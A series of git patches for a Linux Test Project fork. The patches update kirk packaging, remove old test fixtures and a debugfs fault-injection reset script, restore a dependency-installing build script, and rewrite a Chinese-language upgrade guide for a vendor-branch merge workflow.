Language :: Python :: 3.13", + "Programming Language :: Python :: 3.14", "Topic :: Software Development :: Testing", ] @@ -40,15 +41,21 @@ classifiers = [ version = {attr = "libkirk.__version__"} [tool.setuptools.packages.find] -include = ["libkirk"] +include = ["libkirk", "libkirk.*"] exclude = ["libkirk.tests"] [project.scripts] kirk = "libkirk.main:run" [project.optional-dependencies] -ssh = ["asyncssh <= 2.17.0"] -ltx = ["msgpack <= 1.1.0"] +testing = ["pytest", "pytest-asyncio"] +ssh = ["asyncssh <= 2.22.0"] +ltx = ["msgpack <= 1.1.2"] +docs = [ + "sphinx==8.2.3", + "sphinx-rtd-theme==3.0.2", + "myst-parser==4.0.1", +] [tool.setuptools] include-package-data = true @@ -70,3 +77,17 @@ markers = [ [tool.pyrefly] project-includes = ["**/*"] project-excludes = ["**/*venv/**/*"] + +[tool.ruff] +line-length=88 +exclude = [ + "doc/", + "utils/", + "libkirk/tests", +] + +[tool.ruff.lint] +select = [ + "ANN0", + "ANN2", +] diff --git a/ltp/tools/kirk/utils/json2html.py b/ltp/tools/kirk/kirk-src/utils/json2html.py similarity index 100% rename from ltp/tools/kirk/utils/json2html.py rename to ltp/tools/kirk/kirk-src/utils/json2html.py diff --git a/ltp/tools/kirk/utils/json2logs.py b/ltp/tools/kirk/kirk-src/utils/json2logs.py similarity index 100% rename from ltp/tools/kirk/utils/json2logs.py rename to ltp/tools/kirk/kirk-src/utils/json2logs.py diff --git a/ltp/tools/kirk/libkirk/tests/conftest.py b/ltp/tools/kirk/libkirk/tests/conftest.py deleted file mode 100644 index 4aeca7ed..00000000 --- a/ltp/tools/kirk/libkirk/tests/conftest.py +++ /dev/null @@ -1,197 +0,0 @@ -""" -Generic stuff for pytest. -""" - -from typing import Dict, List - -import pytest - -import libkirk -from libkirk.data import Suite, Test -from libkirk.framework import Framework -from libkirk.results import TestResults -from libkirk.sut import SUT - - -@pytest.fixture(scope="session") -def event_loop(): - """ - Current event loop. Keep it in session scope, otherwise tests which - will use same coroutines will be associated to different event_loop. - In this way, pytest-asyncio plugin will work properly. - """ - loop = libkirk.get_event_loop() - - yield loop - - if not loop.is_closed(): - loop.close() - - -class DummyFramework(Framework): - """ - A generic framework created for testing. - """ - - def __init__(self) -> None: - self._root = None - - def setup(self, **kwargs: Dict[str, str]) -> None: - self._root = kwargs.get("root", "/") - self._env = kwargs.get("env", None) - - @property - def name(self) -> str: - return "dummy" - - @property - def config_help(self) -> Dict[str, str]: - return {} - - async def get_suites(self, sut: SUT) -> List[str]: - return ["suite01", "suite02", "sleep", "environ", "kernel_panic"] - - async def find_command(self, sut: SUT, command: str) -> Test: - return Test(name=command, cmd=command) - - async def find_suite(self, sut: SUT, name: str) -> Suite: - if name in "suite01": - test0 = Test( - name="test01", - cwd=self._root, - env=self._env, - cmd="echo", - args=["-n", "ciao0"], - parallelizable=False, - ) - - test1 = Test( - name="test02", - cwd=self._root, - env=self._env, - cmd="echo", - args=["-n", "ciao0"], - parallelizable=False, - ) - - return Suite(name, [test0, test1]) - if name == "suite02": - test0 = Test( - name="test01", - cwd=self._root, - env=self._env, - cmd="echo", - args=["-n", "ciao0"], - parallelizable=False, - ) - - test1 = Test( - name="test02", - cwd=self._root, - env=self._env, - cmd="sleep", - args=["0.2", "&&", "echo", "-n", "ciao1"], - parallelizable=True, - ) - - return Suite(name, [test0, test1]) - elif name == "sleep": - test0 = Test( - name="test01", - cwd=self._root, - env=self._env, - cmd="sleep", - args=["2"], - parallelizable=False, - ) - - test1 = Test( - name="test02", - cwd=self._root, - env=self._env, - cmd="sleep", - args=["2"], - parallelizable=False, - ) - - return Suite(name, [test0, test1]) - elif name == "environ": - test0 = Test( - name="test01", - cwd=self._root, - env=self._env, - cmd="echo", - args=["-n", "$hello"], - parallelizable=False, - ) - - return Suite(name, [test0]) - elif name == "kernel_panic": - test0 = Test( - name="test01", - cwd=self._root, - env=self._env, - cmd="echo", - args=["Kernel", "panic"], - parallelizable=False, - ) - - test1 = Test( - name="test01", - cwd=self._root, - env=self._env, - cmd="sleep", - args=["0.2"], - parallelizable=False, - ) - - return Suite(name, [test0, test1]) - - return None - - async def read_result( - self, test: Test, stdout: str, retcode: int, exec_t: float - ) -> TestResults: - passed = 0 - failed = 0 - skipped = 0 - broken = 0 - skipped = 0 - warnings = 0 - error = retcode == -1 - - if retcode == 0: - passed = 1 - elif retcode == 4: - warnings = 1 - elif retcode == 32: - skipped = 1 - elif not error: - failed = 1 - - if error: - broken = 1 - - result = TestResults( - test=test, - passed=passed, - failed=failed, - broken=broken, - skipped=skipped, - warnings=warnings, - exec_time=exec_t, - retcode=retcode, - stdout=stdout, - ) - - return result - - -@pytest.fixture -def dummy_framework(): - """ - A fummy framework implementation used for testing. - """ - obj = DummyFramework() - obj.setup(root="/tmp") - yield obj diff --git a/ltp/tools/kirk/libkirk/tests/test_host.py b/ltp/tools/kirk/libkirk/tests/test_host.py deleted file mode 100644 index 4155e880..00000000 --- a/ltp/tools/kirk/libkirk/tests/test_host.py +++ /dev/null @@ -1,44 +0,0 @@ -""" -Unittests for host SUT implementations. -""" - -import pytest - -from libkirk.host import HostSUT -from libkirk.tests.test_session import _TestSession -from libkirk.tests.test_sut import _TestSUT - -pytestmark = pytest.mark.asyncio - - -@pytest.fixture -async def sut(): - _sut = HostSUT() - _sut.setup() - - yield _sut - - if await _sut.is_running: - await _sut.stop() - - -class TestHostSUT(_TestSUT): - """ - Test HostSUT implementation. - """ - - @pytest.fixture - def sut_stop_sleep(self, request): - """ - Host SUT test doesn't require time sleep in `test_stop_communicate`. - """ - return request.param * 0 - - async def test_fetch_file_stop(self): - pytest.skip(reason="Coroutines don't support I/O file handling") - - -class TestHostSession(_TestSession): - """ - Test Session implementation. - """ diff --git a/ltp/tools/kirk/libkirk/tests/test_plugin.py b/ltp/tools/kirk/libkirk/tests/test_plugin.py deleted file mode 100644 index 96d07520..00000000 --- a/ltp/tools/kirk/libkirk/tests/test_plugin.py +++ /dev/null @@ -1,54 +0,0 @@ -""" -Unittests for framework module. -""" - -import libkirk -import libkirk.plugin -from libkirk.framework import Framework -from libkirk.sut import SUT - - -def test_sut(tmpdir): - """ - Test if SUT implementations are correctly loaded. - """ - suts = [] - suts.append(tmpdir / "sutA.py") - suts.append(tmpdir / "sutB.py") - suts.append(tmpdir / "sutC.txt") - - for index in range(0, len(suts)): - suts[index].write( - "from libkirk.sut import SUT\n\n" - f"class SUT{index}(SUT):\n" - " @property\n" - " def name(self) -> str:\n" - f" return 'mysut{index}'\n" - ) - - suts = libkirk.plugin.discover(SUT, str(tmpdir)) - - assert len(suts) == 2 - - -def test_framework(tmpdir): - """ - Test if Framework implementations are correctly loaded. - """ - suts = [] - suts.append(tmpdir / "frameworkA.py") - suts.append(tmpdir / "frameworkB.py") - suts.append(tmpdir / "frameworkC.txt") - - for index in range(0, len(suts)): - suts[index].write( - "from libkirk.framework import Framework\n\n" - f"class Framework{index}(Framework):\n" - " @property\n" - " def name(self) -> str:\n" - f" return 'fw{index}'\n" - ) - - suts = libkirk.plugin.discover(Framework, str(tmpdir)) - - assert len(suts) == 2 diff --git a/ltp/tools/restore_kernel_faults_default.sh b/ltp/tools/restore_kernel_faults_default.sh deleted file mode 100755 index c819107b..00000000 --- a/ltp/tools/restore_kernel_faults_default.sh +++ /dev/null @@ -1,86 +0,0 @@ -#!/bin/sh -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2009 ## -## ## -## This program is free software; you can redistribute it and/or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -################################################################################ -# ## -# File : restore_kernel_faults_default.sh ## -# ## -# Usage: restore_kernel_faults_default.sh ## -# ## -# Description: This is a simple script that will restore the /debugfs/fail* ## -# entries to their default values ## -# ## -# Author: Subrata Modak ## -# ## -# History: Aug 11 2009 - Created - Subrata Modak. ## -# Aug 17 2009 - Changed debugfs mount point - Subrata Modak. ## -################################################################################ - -echo 0 > /sys/kernel/debug/fail_io_timeout/reject-end -echo 0 > /sys/kernel/debug/fail_io_timeout/reject-start -echo 4294967295 > /sys/kernel/debug/fail_io_timeout/require-end -echo 0 > /sys/kernel/debug/fail_io_timeout/require-start -echo 32 > /sys/kernel/debug/fail_io_timeout/stacktrace-depth -echo N > /sys/kernel/debug/fail_io_timeout/task-filter -echo 2 > /sys/kernel/debug/fail_io_timeout/verbose -echo 0 > /sys/kernel/debug/fail_io_timeout/space -echo 1 > /sys/kernel/debug/fail_io_timeout/times -echo 1 > /sys/kernel/debug/fail_io_timeout/interval -echo 0 > /sys/kernel/debug/fail_io_timeout/probability - -echo 0 > /sys/kernel/debug/fail_make_request/reject-end -echo 0 > /sys/kernel/debug/fail_make_request/reject-start -echo 4294967295 > /sys/kernel/debug/fail_make_request/require-end -echo 0 > /sys/kernel/debug/fail_make_request/require-start -echo 32 > /sys/kernel/debug/fail_make_request/stacktrace-depth -echo N > /sys/kernel/debug/fail_make_request/task-filter -echo 2 > /sys/kernel/debug/fail_make_request/verbose -echo 0 > /sys/kernel/debug/fail_make_request/space -echo 1 > /sys/kernel/debug/fail_make_request/times -echo 1 > /sys/kernel/debug/fail_make_request/interval -echo 0 > /sys/kernel/debug/fail_make_request/probability - -echo 1 > /sys/kernel/debug/fail_page_alloc/min-order -echo Y > /sys/kernel/debug/fail_page_alloc/ignore-gfp-highmem -echo Y > /sys/kernel/debug/fail_page_alloc/ignore-gfp-wait -echo 0 > /sys/kernel/debug/fail_page_alloc/reject-end -echo 0 > /sys/kernel/debug/fail_page_alloc/reject-start -echo 4294967295 > /sys/kernel/debug/fail_page_alloc/require-end -echo 0 > /sys/kernel/debug/fail_page_alloc/require-start -echo 32 > /sys/kernel/debug/fail_page_alloc/stacktrace-depth -echo N > /sys/kernel/debug/fail_page_alloc/task-filter -echo 2 > /sys/kernel/debug/fail_page_alloc/verbose -echo 0 > /sys/kernel/debug/fail_page_alloc/space -echo 1 > /sys/kernel/debug/fail_page_alloc/times -echo 1 > /sys/kernel/debug/fail_page_alloc/interval -echo 0 > /sys/kernel/debug/fail_page_alloc/probability - -echo Y > /sys/kernel/debug/failslab/ignore-gfp-wait -echo 0 > /sys/kernel/debug/failslab/reject-end -echo 0 > /sys/kernel/debug/failslab/reject-start -echo 4294967295 > /sys/kernel/debug/failslab/require-end -echo 0 > /sys/kernel/debug/failslab/require-start -echo 32 > /sys/kernel/debug/failslab/stacktrace-depth -echo N > /sys/kernel/debug/failslab/task-filter -echo 2 > /sys/kernel/debug/failslab/verbose -echo 0 > /sys/kernel/debug/failslab/space -echo 1 > /sys/kernel/debug/failslab/times -echo 1 > /sys/kernel/debug/failslab/interval -echo 0 > /sys/kernel/debug/failslab/probability - diff --git a/ltp/tools/tag-release.sh b/ltp/tools/tag-release.sh index b639efb2..6e4ec8b4 100755 --- a/ltp/tools/tag-release.sh +++ b/ltp/tools/tag-release.sh @@ -2,7 +2,7 @@ # SPDX-License-Identifier: GPL-2.0-or-later # Copyright (c) 2023 Petr Vorel # Tag LTP release. -# https://github.com/linux-test-project/ltp/wiki/LTP-Release-Procedure +# https://linux-test-project.readthedocs.io/en/latest/maintainers/ltp_release_procedure.html basedir="$(dirname "$0")" cd "$basedir/.." diff --git a/ltp/utils/sctp/func_tests/test_1_to_1_initmsg_connect.c b/ltp/utils/sctp/func_tests/test_1_to_1_initmsg_connect.c index 98013cd3..c9c3c1c3 100644 --- a/ltp/utils/sctp/func_tests/test_1_to_1_initmsg_connect.c +++ b/ltp/utils/sctp/func_tests/test_1_to_1_initmsg_connect.c @@ -110,8 +110,8 @@ static void test_sctp(unsigned int n) static struct tst_test test = { .test = test_sctp, .tcnt = ARRAY_SIZE(testcase_list), - .needs_drivers = (const char *[]) { - "sctp", + .needs_kconfigs = (const char *[]) { + "CONFIG_IP_SCTP", NULL }, }; diff --git a/ltp/utils/sctp/testlib/sctputil.h b/ltp/utils/sctp/testlib/sctputil.h index 176d623f..c14d7a86 100644 --- a/ltp/utils/sctp/testlib/sctputil.h +++ b/ltp/utils/sctp/testlib/sctputil.h @@ -50,7 +50,7 @@ #ifdef LTP #include -#include +#include #endif #include -- Gitee From 713326b2769d8fed90d0a4cb71a1ca2fa58fae99 Mon Sep 17 00:00:00 2001 From: propelluo Date: Sun, 17 May 2026 21:01:39 +0800 Subject: [PATCH 5/8] fix: restore custom files erroneously dropped by ltp-vendor merge The previous merge of `ltp-vendor` (commit 7ccacb5) silently deleted three custom items that belong on master: - ltp/tst_build.sh - .code.yml - .gitignore entry `ltp/tools/ltx/ltx` Root cause: the first `ltp-vendor` snapshot (2eef50f) was derived from a master commit that contained these files, and explicitly removed them to "keep the branch pure". That removal commit then propagated back into master via three-way merge (base had the files, theirs deleted them, ours did not touch them -> merge takes the deletion). This commit restores them verbatim from 089df51 (the last master commit before the offending merge). A follow-up commit rebuilds ltp-vendor on a clean base so this class of regression cannot happen again. Co-authored-by: Cursor --- .code.yml | 3 ++ .gitignore | 1 + ltp/tst_build.sh | 78 ++++++++++++++++++++++++++++++++++++++++++++++++ 3 files changed, 82 insertions(+) create mode 100644 .code.yml create mode 100755 ltp/tst_build.sh diff --git a/.code.yml b/.code.yml new file mode 100644 index 00000000..20c2d471 --- /dev/null +++ b/.code.yml @@ -0,0 +1,3 @@ +source: + third_party_source: + filepath_regex: [".*/ltp/.*"] \ No newline at end of file diff --git a/.gitignore b/.gitignore index 1e2f5131..5138d335 100644 --- a/.gitignore +++ b/.gitignore @@ -17,3 +17,4 @@ bin-release/ # should NOT be excluded as they contain compiler settings and other important # information for Eclipse / Flash Builder. *.install/ +ltp/tools/ltx/ltx diff --git a/ltp/tst_build.sh b/ltp/tst_build.sh new file mode 100755 index 00000000..083ab3ed --- /dev/null +++ b/ltp/tst_build.sh @@ -0,0 +1,78 @@ +#!/bin/bash + +# Desc: 编译测试工具 +# Args: +# $1 -- g_install_dir,可选参数,指定工具安装路径 +# 说明: +# 编译脚本是名字固定为tst-build.sh的bash脚本 +# 如果不指定参数g_install_dir,那么默认安装在当前目录.install路径下 +# 编译失败则将.install目录重命名为.install.fail +# .install目录存在表示工具已经编译过,不再重复编译 + +g_tool_dir="$(dirname "$(realpath "$0")")" +g_install_dir="$1" + +# TODO: 编译依赖包列表 +build_dep_pkg_list=" + libaio* + libcap* + genisoimage + iproute-tc* + dnsmasq* + rpcbind + nfs-utils + bind + httpd* + vsftpd + libmnl* + dhcp* + telnet* + libcap* + acl-debugsource + libacl-devel +" + +# TODO: 实际编译动作 +build_tool() { + nr_job="$(grep -wc "^processor" /proc/cpuinfo)" + [ -z "$nr_job" ] && nr_job=6 + + # 不编译数据库相关的测试项 + cd "$g_tool_dir" \ + && make autotools \ + && ./configure --prefix="$g_install_dir" \ + && make all -j "$nr_job" \ + && make install +} + +# 下面代码建议保持不变 +main() { + [ -z "$g_install_dir" ] && g_install_dir="${g_tool_dir}.install" + + if [ -f "$g_install_dir" ]; then + echo "$g_install_dir not dir" + return 1 + elif [ -d "$g_install_dir" ]; then + echo "dir $g_install_dir existed, ignore rebuild" + return 0 + else + echo "build to dir $g_install_dir" + fi + + for pkg in $build_dep_pkg_list; do + rpm -q "$pkg" || yum install -y "$pkg" + done + + mkdir -p "$g_install_dir" + if build_tool; then + echo "build $g_tool_dir success, dir $g_install_dir" + return 0 + else + [ -e "${g_install_dir}.fail" ] && rm -rf "${g_install_dir}.fail" + mv "$g_install_dir" "${g_install_dir}.fail" + echo "build $g_tool_dir fail, dir $g_install_dir" + return 1 + fi +} + +main "$@" \ No newline at end of file -- Gitee From 45a2da7cbd24996fdceda1d16ae4cf18b9f21956 Mon Sep 17 00:00:00 2001 From: propelluo Date: Sun, 17 May 2026 21:05:15 +0800 Subject: [PATCH 6/8] docs: rewrite UPGRADE.md to match rebuilt ltp-vendor branch MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The old SOP described a vendor branch derived from a master commit that already contained custom files (tst_build.sh, .code.yml, .gitignore custom entries). It then asked the operator to delete those custom files on the vendor branch to keep it "pure". That delete commit lived in vendor history forever and caused `git merge ltp-vendor` to silently remove the same files from master via three-way merge - which is exactly what bit us in merge commit 7ccacb5. The vendor branch has now been rebuilt with parent 3f6134f (a master ancestor that never contained any custom file or any ltp/ subtree). This document is updated accordingly: - Section 1.1 explains the "clean starting point" invariant and why it matters, with a pointer to the historical incident. - Step 4 ("defensive cleanup") is reframed: instead of unconditionally `rm -f ltp/tst_build.sh`, it instructs the operator to rename the master-side custom script if upstream ever introduces a same-name file. The unconditional rm was at best a no-op and at worst masked real conflicts. - Step 7 is new: post-merge sanity check that the four custom items still exist on master. - The "禁止事项" list adds an explicit ban on rebasing/resetting the vendor branch onto a master commit that contains custom files. - Section 7 redraws the branch diagram showing the 3f6134f anchor. Co-authored-by: Cursor --- UPGRADE.md | 66 +++++++++++++++++++++++++++++++++++++++++------------- 1 file changed, 50 insertions(+), 16 deletions(-) diff --git a/UPGRADE.md b/UPGRADE.md index 0663f4ff..92f6e10f 100644 --- a/UPGRADE.md +++ b/UPGRADE.md @@ -7,13 +7,27 @@ 本仓库采用 vendor branch 模式管理 LTP 上游源码与自定义改动: - **`master`**:日常开发与发布分支。包含全部自定义改动,例如: - - 自定义脚本:`ltp/tst_build.sh` + - 自定义脚本:`ltp/tst_build.sh`、`ltp/tst-list-cases.sh` - 自定义配置:`.code.yml`、根目录 `.gitignore` 中的自定义忽略项 - 对 LTP 源码文件的修复 patch(若有) - 本文档 `UPGRADE.md` - **`ltp-vendor`**:纯净的 LTP 上游源码 snapshot 分支。**只在升级 LTP 版本时操作**,禁止在此分支提交任何自定义改动。 -升级流程的本质:先在 `ltp-vendor` 上把源码替换为新版本并提交 snapshot,再切回 `master` 执行 `git merge ltp-vendor`,让自定义改动与上游新版本三方合并。 +升级流程的本质:先在 `ltp-vendor` 上把 `ltp/` 子树替换为新版本并提交 snapshot,再切回 `master` 执行 `git merge ltp-vendor`,让自定义改动与上游新版本三方合并。 + +### 1.1 关键约束:`ltp-vendor` 的 parent 必须是"干净起点" + +`ltp-vendor` 的根(最早一个 commit)的 parent 必须是 master 历史上"尚未引入任何自定义文件、也尚未引入 `ltp/` 子树"的提交(当前选择的是 `3f6134f`)。 + +> **为什么重要**:三方合并的删除传播。如果 `ltp-vendor` 是从 master 上含有自定义文件(如 `tst_build.sh`、`.code.yml`、`.gitignore` 自定义项)的某个 commit 派生,并通过"显式删除自定义文件"来制造"纯净 vendor",那么这条删除提交会永久留在 vendor 历史里。后续 `git merge ltp-vendor` 时: +> +> - merge-base 上**有**这些自定义文件 +> - master 上**未改动**它们 +> - vendor 上**已删除**它们 +> +> 三方合并规则会把 vendor 的"删除意图"应用到 master 上,**静默地**删除 master 上的自定义文件,且不会报冲突。本仓库曾因此误删 `ltp/tst_build.sh` / `.code.yml` / `.gitignore` 自定义行(commit `7ccacb5`,由 commit `713326b` 修复,并由本次 vendor 重建从根本上消除)。 +> +> 选择 `3f6134f` 作为 vendor parent,能确保 merge-base 上**从未存在**任何自定义文件,于是"vendor 没有自定义文件"这件事对三方合并而言不是"删除",而是"未触碰",自然不会传播到 master。 ## 二、升级前置准备 @@ -40,7 +54,7 @@ git pull --ff-only origin ltp-vendor git status # 必须是 clean ``` -### 步骤 3:删旧放新 +### 步骤 3:删旧 `ltp/`、放新 `ltp/` > **危险操作!** 执行 `rm -rf ltp/` 前务必确认当前在本仓库根目录。 @@ -54,24 +68,23 @@ rm -rf ltp/ cp -r /tmp/ltp-upstream ltp/ ``` -只删 `ltp/` 子目录,不动根目录的 `LICENSE`、`README.md`、`.gitignore`、`UPGRADE.md` 等项目文件。 +只删 `ltp/` 子目录,不动 `ltp-vendor` 根目录上其他文件(这些是 vendor parent 继承下来的占位文件,不要动它们)。 > 如果担心 `rm -rf` 风险,可改用 `git rm -r ltp/` 让 git 来标记删除,再 `cp` 新内容,效果完全一致。 -### 步骤 4:防御性清理 +### 步骤 4:确认 vendor 工作区只含上游内容 -上游若恰好新增了同名文件,避免污染 vendor 分支: +新 `ltp/` 目录里**不应**出现 `tst_build.sh`、`tst-list-cases.sh` 等本仓库自定义脚本。若上游恰好引入了同名文件(极小概率,需谨慎核实),需要: -```bash -rm -f ltp/tst_build.sh -``` +1. **先在本仓库 master 上把对应自定义脚本改名**(例如 `tst_build.sh` → `tst-build.sh`),让 master 与上游不再冲突; +2. 然后才能继续 vendor 升级,避免上游同名文件在 vendor snapshot 中"占位"。 ### 步骤 5:提交 snapshot 并推送 ```bash git add -A ltp/ git status # 确认改动只发生在 ltp/ 目录下 -git commit -m "update ltp to " +git commit -m "snapshot: pure LTP upstream " git push origin ltp-vendor ``` @@ -89,6 +102,20 @@ git merge ltp-vendor git push origin master ``` +### 步骤 7:合入后自检(强烈推荐) + +```bash +# 自定义脚本仍然在 +test -f ltp/tst_build.sh && echo OK || echo MISSING tst_build.sh +test -f ltp/tst-list-cases.sh && echo OK || echo MISSING tst-list-cases.sh +test -f .code.yml && echo OK || echo MISSING .code.yml + +# .gitignore 自定义行仍然在 +grep -q '^ltp/tools/ltx/ltx$' .gitignore && echo OK || echo MISSING gitignore entry +``` + +如有任何一项 MISSING,**先不要 push**:检查是否是"上游真的把同名文件加进了 ltp/",或者是 vendor 分支的 parent 被人改动失去了"干净起点"约束。 + ## 四、冲突处理 冲突一般发生在 master 上自定义修改过的源码文件被上游也改动了的位置。 @@ -117,15 +144,22 @@ git push origin master ## 六、禁止事项 - 严禁在 `ltp-vendor` 分支上提交任何自定义改动(脚本、配置、源码 patch 都不行)。该分支必须保持纯净,否则下次升级时会把"自定义内容"再覆盖一次,造成混乱。 +- 严禁通过 `git rebase` / `git reset` 等手段把 `ltp-vendor` 的最早 commit 的 parent 改到 master 上"已含自定义文件"的 commit;这会重新引发"merge 静默删自定义文件"的事故(详见 §1.1)。 - 直接修改 `ltp/` 下的源码并只提交到 `master` 时,**提交说明必须清楚标注**(例如以 `fix:` 开头或包含 `custom patch` 字样),便于将来升级冲突时识别意图。 -- 不要在升级流程中混入与升级无关的提交,保持每次 `update ltp to ` 的提交是"纯升级"。 +- 不要在升级流程中混入与升级无关的提交,保持每次 `snapshot: pure LTP upstream ` 的提交是"纯升级"。 ## 七、参考:当前分支结构 ``` -master ── 自定义改动 + LTP 源码(带 patch) - ▲ - │ git merge ltp-vendor - │ -ltp-vendor ── 纯净 LTP 上游源码 snapshot +master ── 自定义改动 + LTP 源码(含历史 patch) + ▲ + │ git merge ltp-vendor + │ +ltp-vendor ── 纯净 LTP 上游 ltp/ 子树 snapshot(每次升级一个 commit) + ▲ + │ parent + │ +3f6134f (master) ── 干净起点:尚无 ltp/、尚无任何自定义文件 ``` + +`ltp-vendor` 与 `master` 的 merge-base 永远会落在 `3f6134f`(或之前的 commit),从而保证 merge 时 master 上的自定义文件永远不会被三方合并误删。 -- Gitee From aa758aa7cb3e945f5ee3e7a85f2d4667802e23f5 Mon Sep 17 00:00:00 2001 From: propelluo Date: Sun, 17 May 2026 21:22:09 +0800 Subject: [PATCH 7/8] rename ltp/tst_build.sh -> ltp/tst-build.sh to align with upstream MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Upstream (gitee.com/opencloudos-testing/tst-open-ltp) already renamed this file in commit 51b5663 "文件重命名" (R100, content-identical rename). Mirror the same R100 rename here so a future merge between fork and upstream sees two identical rename ops and resolves without any conflict. Also brings the actual file name in line with the project README, which has always documented it as `tst-build.sh` (with a hyphen). This commit is intentionally a pure rename - no content change - so git reports it as R100 and the merge is trivial. Co-authored-by: Cursor --- ltp/{tst_build.sh => tst-build.sh} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename ltp/{tst_build.sh => tst-build.sh} (100%) diff --git a/ltp/tst_build.sh b/ltp/tst-build.sh similarity index 100% rename from ltp/tst_build.sh rename to ltp/tst-build.sh -- Gitee From de75ffaae35b2aa4cdfa75fe3b93910d4cd41192 Mon Sep 17 00:00:00 2001 From: propelluo Date: Sun, 17 May 2026 21:23:40 +0800 Subject: [PATCH 8/8] docs: update UPGRADE.md references after tst_build.sh rename MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Following the rename of ltp/tst_build.sh -> ltp/tst-build.sh (commit aa758aa), update UPGRADE.md to use the new filename in: - Section 1: the list of custom files on master - Section 3 step 4: the list of names that must NOT appear in a fresh ltp/ subtree - Section 3 step 7: the post-merge self-check script The Section 3 step 4 example is also updated to use a generic "-fork.sh" suffix as the hypothetical clash placeholder, with a parenthetical note that the actual rename described in this doc (tst_build.sh -> tst-build.sh) is a real historical precedent. References inside the historical narrative (Sections 1.1 and 3 step 4 "先例参考") deliberately keep the old underscore name, because they describe events that really occurred under that name; rewriting them would distort history. Co-authored-by: Cursor --- UPGRADE.md | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/UPGRADE.md b/UPGRADE.md index 92f6e10f..0976e362 100644 --- a/UPGRADE.md +++ b/UPGRADE.md @@ -7,7 +7,7 @@ 本仓库采用 vendor branch 模式管理 LTP 上游源码与自定义改动: - **`master`**:日常开发与发布分支。包含全部自定义改动,例如: - - 自定义脚本:`ltp/tst_build.sh`、`ltp/tst-list-cases.sh` + - 自定义脚本:`ltp/tst-build.sh`、`ltp/tst-list-cases.sh` - 自定义配置:`.code.yml`、根目录 `.gitignore` 中的自定义忽略项 - 对 LTP 源码文件的修复 patch(若有) - 本文档 `UPGRADE.md` @@ -74,9 +74,9 @@ cp -r /tmp/ltp-upstream ltp/ ### 步骤 4:确认 vendor 工作区只含上游内容 -新 `ltp/` 目录里**不应**出现 `tst_build.sh`、`tst-list-cases.sh` 等本仓库自定义脚本。若上游恰好引入了同名文件(极小概率,需谨慎核实),需要: +新 `ltp/` 目录里**不应**出现 `tst-build.sh`、`tst-list-cases.sh` 等本仓库自定义脚本。若上游恰好引入了同名文件(极小概率,需谨慎核实),需要: -1. **先在本仓库 master 上把对应自定义脚本改名**(例如 `tst_build.sh` → `tst-build.sh`),让 master 与上游不再冲突; +1. **先在本仓库 master 上把对应自定义脚本改名**(例如 `tst-build.sh` → `tst-build-fork.sh`),让 master 与上游不再冲突;本仓库历史上也曾经将 `tst_build.sh` 重命名为 `tst-build.sh` 以追随上游,可作为先例参考; 2. 然后才能继续 vendor 升级,避免上游同名文件在 vendor snapshot 中"占位"。 ### 步骤 5:提交 snapshot 并推送 @@ -106,7 +106,7 @@ git push origin master ```bash # 自定义脚本仍然在 -test -f ltp/tst_build.sh && echo OK || echo MISSING tst_build.sh +test -f ltp/tst-build.sh && echo OK || echo MISSING tst-build.sh test -f ltp/tst-list-cases.sh && echo OK || echo MISSING tst-list-cases.sh test -f .code.yml && echo OK || echo MISSING .code.yml -- Gitee
    NoTest-NameStart-TimeCommand-LineContactsAnalysisTest-OutputInitiation-StatusDurationTermination-typeTermination-idCore-Filecutimecstime
  • Click Here for Detailed Report